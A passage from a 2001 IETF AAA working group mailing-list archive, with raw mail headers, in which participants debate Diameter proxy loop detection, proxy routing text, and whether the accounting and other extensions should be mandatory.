2001 10:31:41 -0500 From: Barney Wolff To: Pat Calhoun Cc: stuartb+ietf-aaa@UU.NET, aaa-wg@merit.edu Subject: Re: [AAA-WG]: Message Forwarding and Routing Proposed text Message-ID: <20010223103141.A16729@mx.databus.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Fri, Feb 23, 2001 at 05:29:31AM -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk Were I implementing a DIAMETER proxy, I would not bother checking for a loop unless the list of Record-Routes was longer than, say, 10 items. A misconfiguration resulting in a loop should be very rare, and detecting the loop does not have to be instant at the millisecond level. That way, most sane configs that loop a request to different proxies on the same host will not even notice. If an apparent loop is detected, it can be disambiguated by something in Proxy-State. A really smart proxy would lower the loop-detect threshold for a while after a loop was detected. Also, a *server* never has to check record-route if it is not going to forward the request. Only a proxy ever has to make this check. Finally, with IP aliases widely supported these days, one can run multiple DIAMETER daemons on a host with separate sets of IP addresses rather than with separate port numbers. In the not-unusual case of a "special" daemon to reprocess the rare request, listening on 127.0.0.1 might be all that's needed. Barney On Fri, Feb 23, 2001 at 05:29:31AM -0800, Pat Calhoun wrote: > > > We > > now have lots of routing being performed based upon some form of host > > name, but what if a Diameter proxy winds up communicating with a > > Diameter server on the same machine? Does the Diameter server notice > > that the Record-Route AVP has it own hostname in it and assume a loop? > > Currently yes. So the question I have for you is whether multiple aaad > processes on a single box is a requirement. From owner-aaa-bof@merit.edu Fri Feb 23 10:50:07 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA06031 for ; Fri, 23 Feb 2001 10:50:07 -0500 (EST) Received: by segue.merit.edu (Postfix) id D6D665DF8C; Fri, 23 Feb 2001 10:47:15 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id ACF815DF8E; Fri, 23 Feb 2001 10:47:15 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id 77B5D5DF8C for ; Fri, 23 Feb 2001 10:47:13 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f1NFl6t16915; Fri, 23 Feb 2001 10:47:06 -0500 (EST) (envelope-from barney) Date: Fri, 23 Feb 2001 10:47:06 -0500 From: Barney Wolff To: Pat Calhoun Cc: stuartb+ietf-aaa@UU.NET, aaa-wg@merit.edu Subject: Re: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs Message-ID: <20010223104706.B16729@mx.databus.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Fri, Feb 23, 2001 at 05:34:37AM -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk While I would (reluctantly :) agree that RADIUS has its faults, is under-specification of proxy routing behavior really one of them? Has any RADIUS proxy implementor ever asked plaintively on the RADIUS list, "How do I decide where to forward the request?" Does anyone have a misrouting-by-design war story to relate? Bernard, would your tale of the proxy that messed up some response AVPs have been any different if there had been an RFC that said "Don't mess up AVPs?" Barney On Fri, Feb 23, 2001 at 05:34:37AM -0800, Pat Calhoun wrote: > > > > If the Diameter specification is only suggesting how a proxy can route > > packets, should that discussion be in the standards track base > > protocol specification? A separate non standards track > > (experimental?) document showing possible proxying situations could be > > a useful document to suggest how proxies might operate. Lets not mix > > "might choose to do it this way" with the standards track protocol > > behavior. > > I think I now understand your concern. The might was put there explicitely to > satisfy Barney's insistence that we not define Proxy Behaviors. However, > without such text, I don't think we have a good routing story, and would > basically have RADIUS. I think that a good routing strategy needs to be > defined. From owner-aaa-bof@merit.edu Fri Feb 23 12:21:48 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09811 for ; Fri, 23 Feb 2001 12:21:47 -0500 (EST) Received: by segue.merit.edu (Postfix) id 76F2F5DEEC; Fri, 23 Feb 2001 12:17:41 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 993455DF4A; Fri, 23 Feb 2001 12:17:40 -0500 (EST) Received: from uucp1.nwnexus.com (uucp1.nwnexus.com [206.63.63.110]) by segue.merit.edu (Postfix) with ESMTP id 7CA8A5E0F6 for ; Fri, 23 Feb 2001 12:17:16 -0500 (EST) Received: from internaut.com (uucp@localhost) by uucp1.nwnexus.com (8.8.8/8.8.8) with UUCP id JAA32333; Fri, 23 Feb 2001 09:17:05 -0800 (PST) Received: by internaut.com (NX5.67e/NeXT-3.0) id AA00844; Fri, 23 Feb 01 09:53:24 -0800 Date: Fri, 23 Feb 2001 09:53:24 -0800 (GMT-0800) From: "Bernard D. Aboba" To: Barney Wolff Cc: Pat Calhoun , stuartb+ietf-aaa@UU.NET, aaa-wg@merit.edu Subject: Re: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs In-Reply-To: <20010223104706.B16729@mx.databus.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > While I would (reluctantly :) agree that RADIUS has its faults, > is under-specification of proxy routing behavior really one of > them? I would say that the weakness is proxy/server discovery as much as routing. In practice, I doubt that routing loops will be a serious problem - although I suppose we should specify that the path list be checked. > Does anyone have a misrouting-by-design war story > to relate? Nope. I do have stories about routing tables with missing entries, though. That's one reason why proxy/server discovery is in the solutions draft. I'd also note that similar functionality is in the Kerb/RADIUS draft by Kaushik. Being able to discover AAA servers via SLP, DNS SRV and DNS A RRs is a useful capability. > Bernard, would your tale of the proxy that messed > up some response AVPs have been any different if there had > been an RFC that said "Don't mess up AVPs?" > Actually, in the specific case cited, it was the *NAS* that disregarded AVPs, rather than silently discarding the packet or sending an error message. So the NAS was already in violation of RFC 2865 -- and so adding more language wouldn't have changed anything ;) From owner-aaa-bof@merit.edu Fri Feb 23 14:19:16 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16342 for ; Fri, 23 Feb 2001 14:19:16 -0500 (EST) Received: by segue.merit.edu (Postfix) id B83E55DEF4; Fri, 23 Feb 2001 14:15:59 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 8C6235DEF8; Fri, 23 Feb 2001 14:15:59 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id F3ACA5DEF4 for ; Fri, 23 Feb 2001 14:15:54 -0500 (EST) Received: (qmail 17095 invoked by uid 500); 23 Feb 2001 19:15:53 -0000 Date: Fri, 23 Feb 2001 13:15:52 -0600 From: David Frascone To: diameter@diameter.org, aaa-wg@merit.edu Subject: [AAA-WG]: Ethereal Upgraded Message-ID: <20010223131552.E16602@newman.frascone.com> Mail-Followup-To: diameter@diameter.org, aaa-wg@merit.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk I updated the Ethereal Diameter dissector to handle Diameter traffic across SCTP now. The code will probably be checked in sometime today. (I just posted the diffs to the mailing list). You will need to download the changes from CVS (they will not be included in the distributed code until the next release). See http://www.ethereal.com for more information. From owner-aaa-bof@merit.edu Sun Feb 25 06:23:18 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA08646 for ; Sun, 25 Feb 2001 06:23:18 -0500 (EST) Received: by segue.merit.edu (Postfix) id E594B5DDD2; Sun, 25 Feb 2001 06:22:47 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B6D765DDF1; Sun, 25 Feb 2001 06:22:47 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id 9BFA35DDD2 for ; Sun, 25 Feb 2001 06:22:45 -0500 (EST) Received: from gwzpc ([64.104.42.118] (may be forged)) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id DAA15381 for ; Sun, 25 Feb 2001 03:22:41 -0800 (PST) Reply-To: From: "Glen Zorn" To: Subject: RE: [AAA-WG]: Extension requirements? Date: Sun, 25 Feb 2001 03:22:40 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bernard Aboba [aboba@internaut.com] writes: > The reason I suggested simplifying the extensions picture > is because of the resulting protocol complications. > > The issue is really whether we expect people to deploy > proxies and servers with disparate capabilities. So > Proxy1 supports a different set of extensions from > Proxy2, or AAA server 1 supports different extensions > from AAA server 2. I think that that is a reasonable expectation. OTOH, it's also reasonable to expect that a Diameter message won't fail half-way down a proxy chainbecause the proxy in question doesn't support a given extension. > > > Right now, Accounting functionality is integral to > DIAMETER. Unless something has changed dramatically in the past week or so, I don't believe this statement is accurate: the last time I checked, accounting was an _extension_ rather than part of the base protocol. That ain't what I call integration... > This has a number of advantages. For example, > if Accounting is split out, then we might need to put > in an auth ACK message, which tells the AAA server > what the NAS has actually implemented. If Accounting > is mandatory, then such a message is unnecessary. > > In my opinion, the base protocol is not all that useful > without at least one of the NASREQ or MOBILEIP extensions. > That is why I would like to require at least one of these > on a NAS, in addition to ACCOUNTING support. Can you think > of a situation in which the NAS would only support the > base protocol? > > With respect to the server. My understanding is that the > MOBILEIP extensions are among the most popular features > of DIAMETER. I am interested to hear from DIAMETER > implementors who are *not* planning to implement these > extensions. Based on what I've seen so far, it seems > to me that such an implementation might > be untenable in the market place. But many RADIUS servers are home-grown, part of closed systems. If history is a guide, many Diameter servers will be, too. So why would the developers thereof care about the market? Why should they be required to implement something they will never use, just to be conformant? > If so, we might as > recognize this and require NASREQ, ACCOUNTING > and MOBILEIP on the AAA server. > > > > -----Original Message----- > From: owner-aaa-bof@merit.edu [mailto:owner-aaa-bof@merit.edu]On Behalf > Of stuartb+ietf-aaa@UU.NET > Sent: Thursday, February 22, 2001 8:08 PM > To: aaa-wg@merit.edu > Subject: Re: [AAA-WG]: Extension requirements? > > > It does seem reasonable that current AAA clients and servers would > implement the functions Bernard suggested as requiring. However, I > don't think we should put these into the protocol requirements. > > Does the base protocol specification function without any extension? > At at least some level the base protocol should work standalone > (although it does not have any session startup support, that is all in > extensions). > > We have NASREQ and MobileIP as separate extensions so that people only > need to implement the functionality actually needed and to provide > separation of functionality from other future extensions. > > Since I don't expect to ever run any MobileIP devices, I would be > rather hard pressed to develop a server I really felt comfortable > saying meets the MobileIP requirements. > > When we extend the AAA protocol to support other functionality we > might find a requirement that servers support NASREQ and MobileIP > rather archaic. It should be noted that Radius is used to support a > whole lot of other authentication requirements and although those > requirements are not currently in our scope we don't want to build in > artificial limits. > > In our currently deployed radius systems our Accounting servers are > distinct from our Authentication servers. Although they do share some > source code they really are distinct entities and in some cases are > run by very distinct organizational entities. > > On Wed, 14 Feb 2001, Bernard Aboba wrote: > > > Date: Wed, 14 Feb 2001 08:56:52 -0800 > > From: Bernard Aboba > > To: "Aaa-Wg@Merit. Edu" > > Subject: [AAA-WG]: Extension requirements? > > > > At the interim meeting, we made a distinction between > > things that would be required of a NAS and those that > > would be required of a proxy and a server. > > > > The logic was that a NAS is typically an embedded > > device and therefore operates under different > > contraints than a proxy or a server, which > > presumably have much greater CPU, memory and > > disk resources available to them. > > > > In the same spirit, I would propose that > > AAA proxies and servers MUST implement the > > Accounting, NASREQ and MobileIP extensions, > > while NASen MUST implement the Accounting > > extension and at least one of the NASREQ > > and MobileIP extensions. > > > > While I can understand why a NAS would only > > implement those extensions appropriate for > > the kind of device (e.g. I wouldn't expect > > a dialup NAS to implement the Mobile IP > > extension), requiring that a proxy or > > server implement Accounting, MobileIP > > and NASREQ seems reasonable to me. > > > > Doing this will go a long way towards > > ensuring interoperability. Today, > > some RADIUS proxies don't recognize > > all of the attributes defined in > > RFCs 2865-2869, and this causes > > considerable headaches. It would be > > nice to avoid those interoperability > > problems with DIAMETER. > > > > > From owner-aaa-bof@merit.edu Sun Feb 25 13:23:26 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11838 for ; Sun, 25 Feb 2001 13:23:25 -0500 (EST) Received: by segue.merit.edu (Postfix) id EB9FE5DDB1; Sun, 25 Feb 2001 13:23:08 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id DB9C05DDAE; Sun, 25 Feb 2001 13:23:08 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id D17AC5DDAD for ; Sun, 25 Feb 2001 13:23:06 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1PIG0v23966; Sun, 25 Feb 2001 10:16:00 -0800 From: "Bernard Aboba" To: , Subject: RE: [AAA-WG]: Extension requirements? Date: Sun, 25 Feb 2001 10:24:19 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal In-Reply-To: Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit >I think that that is a reasonable expectation. OTOH, it's also reasonable >to expect that a Diameter message won't fail half-way down a proxy >chainbecause the proxy in question doesn't support a given extension. Any suggestion on how to accomplish this? >Unless something has changed dramatically in the past week or so, I don't >believe this statement is accurate: the last time I checked, accounting was >an _extension_ rather than part of the base protocol. That ain't what I >call integration... Yes, it is an extension. Are proposing moving it into the base protocol? From owner-aaa-bof@merit.edu Sun Feb 25 20:39:07 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA14382 for ; Sun, 25 Feb 2001 20:39:07 -0500 (EST) Received: by segue.merit.edu (Postfix) id AE3175DDC2; Sun, 25 Feb 2001 20:38:35 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 9A1665DE23; Sun, 25 Feb 2001 20:38:35 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id 31E355DDC2 for ; Sun, 25 Feb 2001 20:38:34 -0500 (EST) Received: from gwzpc ([64.104.42.80] (may be forged)) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id RAA07730; Sun, 25 Feb 2001 17:36:43 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Bernard Aboba" , Subject: RE: [AAA-WG]: Extension requirements? Date: Sun, 25 Feb 2001 17:36:42 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bernard Aboba [mailto:aboba@internaut.com] writes: > >I think that that is a reasonable expectation. OTOH, it's also > reasonable > >to expect that a Diameter message won't fail half-way down a proxy > >chainbecause the proxy in question doesn't support a given extension. > > Any suggestion on how to accomplish this? One way would be to require all proxies to support all extensions, but this is an onerous demand on developers and probably wouldn't work anyway, given the liklihood of vendor-specific (and even implementation-specific) extensions and thelag between standardization and deployment. A better way might be to require all conformant proxies to ignore unknown extensions and forward the messages based on other criteria (which I think has been suggested before). > > >Unless something has changed dramatically in the past week or so, I don't > >believe this statement is accurate: the last time I checked, > accounting was > >an _extension_ rather than part of the base protocol. That ain't what I > >call integration... > > Yes, it is an extension. Are proposing moving it into the base protocol? Yup. > > From owner-aaa-bof@merit.edu Mon Feb 26 01:10:12 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA18427 for ; Mon, 26 Feb 2001 01:10:11 -0500 (EST) Received: by segue.merit.edu (Postfix) id 7E1F65DDDF; Mon, 26 Feb 2001 01:09:52 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 6CA185DDB7; Mon, 26 Feb 2001 01:09:52 -0500 (EST) Received: from fep02-app.kolumbus.fi (fep02-0.kolumbus.fi [193.229.0.44]) by segue.merit.edu (Postfix) with ESMTP id 486E25DDB2 for ; Mon, 26 Feb 2001 01:09:50 -0500 (EST) Received: from jariws1 ([212.54.18.17]) by fep02-app.kolumbus.fi (InterMail vM.5.01.02.00 201-253-122-103-20001017) with SMTP id <20010226060949.XKYP21724.fep02-app.kolumbus.fi@jariws1>; Mon, 26 Feb 2001 08:09:49 +0200 Message-ID: <000701c09fba$bf7f5360$8a1b6e0a@arenanet.fi> From: "Jari Arkko" To: , "Bernard Aboba" , References: Subject: Re: [AAA-WG]: Extension requirements? Date: Mon, 26 Feb 2001 08:09:58 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Glen Zorn writes: > > Yes, it is an extension. Are proposing moving it into the base protocol? > > Yup. Well, we got three things here: the document structure, division to what we call extensions in the technical Diameter sense, and the mandatory status of various parts. Accounting is a separate document (like e.g. strong security) and its own extension, but a mandatory part of the protocol. I don't think anybody has different opinions about the mandatory status of the accounting part. However, I kind of like the current document and extension structure. I hate big RFCs. And having even mandatory parts be their own documents and extensions sometimes forces us to structure the protocol in a better way, plus it eases writing conformance statements, describing what parts of the procotol a particular node uses, and so on. Jari From owner-aaa-bof@merit.edu Mon Feb 26 01:58:23 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA24610 for ; Mon, 26 Feb 2001 01:58:23 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2E8615DDB2; Mon, 26 Feb 2001 01:58:05 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 1B02A5DDB7; Mon, 26 Feb 2001 01:58:05 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id 94FC65DDB2 for ; Mon, 26 Feb 2001 01:58:03 -0500 (EST) Received: from gwzpc (rtp-vpn-11.cisco.com [10.82.192.11]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id WAA04185; Sun, 25 Feb 2001 22:56:03 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Jari Arkko" , "Bernard Aboba" , Subject: RE: [AAA-WG]: Extension requirements? Date: Sun, 25 Feb 2001 22:56:03 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <000701c09fba$bf7f5360$8a1b6e0a@arenanet.fi> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Jari Arkko [mailto:jari.arkko@kolumbus.fi] writes: > Glen Zorn writes: > > > > Yes, it is an extension. Are proposing moving it into the > base protocol? > > > > Yup. > > Well, we got three things here: the document structure, division to > what we call extensions in the technical Diameter sense, and the > mandatory status of various parts. Accounting is a separate > document (like e.g. strong security) and its own extension, but a > mandatory part of the protocol. Where does it say that, though? As it stands, the base Diameter protocol is an AA protocol, not an AAA protocol. I can't really understand why you would want an integral part of a _new_ protocol to be an extension. > > I don't think anybody has different opinions about the mandatory > status of the accounting part. > > However, I kind of like the current document and extension structure. > I hate big RFCs. And having even mandatory parts be their own > documents and extensions sometimes forces us to structure the > protocol in a better way, plus it eases writing conformance statements, > describing what parts of the procotol a particular node uses, and so on. > > Jari > > > > From owner-aaa-bof@merit.edu Mon Feb 26 07:24:13 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA06494 for ; Mon, 26 Feb 2001 07:24:12 -0500 (EST) Received: by segue.merit.edu (Postfix) id E6A455DDA3; Mon, 26 Feb 2001 07:22:50 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id CBEE45DDF4; Mon, 26 Feb 2001 07:22:50 -0500 (EST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by segue.merit.edu (Postfix) with ESMTP id 8364A5DDA3 for ; Mon, 26 Feb 2001 07:22:48 -0500 (EST) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f1QCMkC23727; Mon, 26 Feb 2001 13:22:46 +0100 (MET) Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.27.159]) by fogerty.lmf.ericsson.se (8.11.2/8.11.2) with ESMTP id f1QCMic06601; Mon, 26 Feb 2001 14:22:44 +0200 (EET) Message-ID: <3A9A4A94.C05D234A@lmf.ericsson.se> Date: Mon, 26 Feb 2001 14:22:44 +0200 From: Jari Arkko Organization: Oy L M Ericsson Ab X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: gwz@cisco.com Cc: Jari Arkko , Bernard Aboba , aaa-wg@merit.edu Subject: Re: [AAA-WG]: Extension requirements? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Glen Zorn wrote: > > Well, we got three things here: the document structure, division to > > what we call extensions in the technical Diameter sense, and the > > mandatory status of various parts. Accounting is a separate > > document (like e.g. strong security) and its own extension, but a > > mandatory part of the protocol. > > Where does it say that, though? As it stands, the base Diameter protocol is > an AA protocol, not an AAA protocol. Uh... Nowhere? This is a problem. I was sort of expecting section 2 in the base spec to talk about this. > I can't really understand why you > would want an integral part of a _new_ protocol to be an extension. Just for modularity in general, the base spec is already 57 pages... Jari -- Jari Arkko, Oy L M Ericsson Ab, 02420 Jorvas, Finland. Tel +358 9 2992480 Fax +358 9 2993052. GSM +358 40 5079256. E-Mail: Jari.Arkko@ericsson.com NEW, UPDATED PRIVATE WWW http://www.arkko.com. Standard disclaimers apply. From owner-aaa-bof@merit.edu Mon Feb 26 09:55:49 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA11380 for ; Mon, 26 Feb 2001 09:55:49 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1777F5DDC1; Mon, 26 Feb 2001 09:55:30 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0545E5DDAC; Mon, 26 Feb 2001 09:55:30 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 8FA495DDA9 for ; Mon, 26 Feb 2001 09:55:28 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA01377; Mon, 26 Feb 2001 06:55:08 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA02665; Mon, 26 Feb 2001 06:54:00 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id GAA07206; Mon, 26 Feb 2001 06:53:57 -0800 (PST) Date: Mon, 26 Feb 2001 06:49:37 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [AAA-WG]: Extension requirements? To: Jari Arkko Cc: gwz@cisco.com, Jari Arkko , Bernard Aboba , aaa-wg@merit.edu In-Reply-To: "Your message with ID" <3A9A4A94.C05D234A@lmf.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Glen Zorn wrote: > > > > Well, we got three things here: the document structure, division to > > > what we call extensions in the technical Diameter sense, and the > > > mandatory status of various parts. Accounting is a separate > > > document (like e.g. strong security) and its own extension, but a > > > mandatory part of the protocol. > > > > Where does it say that, though? As it stands, the base Diameter protocol is > > an AA protocol, not an AAA protocol. > > Uh... Nowhere? This is a problem. I was sort of expecting > section 2 in the base spec to talk about this. > > > I can't really understand why you > > would want an integral part of a _new_ protocol to be an extension. > > Just for modularity in general, the base spec is already 57 pages... *was* 57 pages.... many more after the interim meeting. Also, there is nothing that prevents us from adding a statement in the base protocol that states that the Accounting extension MUST be implemented. This would eliminate merging both docs into one. PatC From owner-aaa-bof@merit.edu Mon Feb 26 10:04:25 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11629 for ; Mon, 26 Feb 2001 10:04:24 -0500 (EST) Received: by segue.merit.edu (Postfix) id 62CCA5DE20; Mon, 26 Feb 2001 10:01:27 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 508795DDE6; Mon, 26 Feb 2001 10:01:27 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 00CE95DE16 for ; Mon, 26 Feb 2001 10:01:25 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA06412; Mon, 26 Feb 2001 07:01:15 -0800 (PST) Received: from nasnfs.Eng.Sun.COM (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA04140; Mon, 26 Feb 2001 07:00:39 -0800 (PST) Received: from mordor (mordor.Eng.Sun.COM [129.146.120.122]) by nasnfs.Eng.Sun.COM (8.9.3+Sun/8.9.1) with SMTP id HAA07481; Mon, 26 Feb 2001 07:00:38 -0800 (PST) Date: Mon, 26 Feb 2001 06:56:18 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: RE: [AAA-WG]: Extension requirements? To: gwz@cisco.com Cc: Bernard Aboba , aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > Bernard Aboba [mailto:aboba@internaut.com] writes: > > > >I think that that is a reasonable expectation. OTOH, it's also > > reasonable > > >to expect that a Diameter message won't fail half-way down a proxy > > >chainbecause the proxy in question doesn't support a given extension. > > > > Any suggestion on how to accomplish this? > > One way would be to require all proxies to support all extensions, but this > is an onerous demand on developers and probably wouldn't work anyway, given > the liklihood of vendor-specific (and even implementation-specific) > extensions and thelag between standardization and deployment. A better way > might be to require all conformant proxies to ignore unknown extensions and > forward the messages based on other criteria (which I think has been > suggested before). One thing that was proposed is to allow proxies to advertise a special Extension Identifier, that states it is a proxy and can handle ANY extension. Note, however, that *some* proxies will NOT want this behavior, since they will want to enforce some local policies, so such proxies may instead want to advertise their individual extensions. PatC From owner-aaa-bof@merit.edu Mon Feb 26 10:13:35 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11971 for ; Mon, 26 Feb 2001 10:13:34 -0500 (EST) Received: by segue.merit.edu (Postfix) id 443FB5DDE6; Mon, 26 Feb 2001 10:13:15 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3418C5DDAC; Mon, 26 Feb 2001 10:13:15 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 0D9EB5DDA9 for ; Mon, 26 Feb 2001 10:13:14 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) 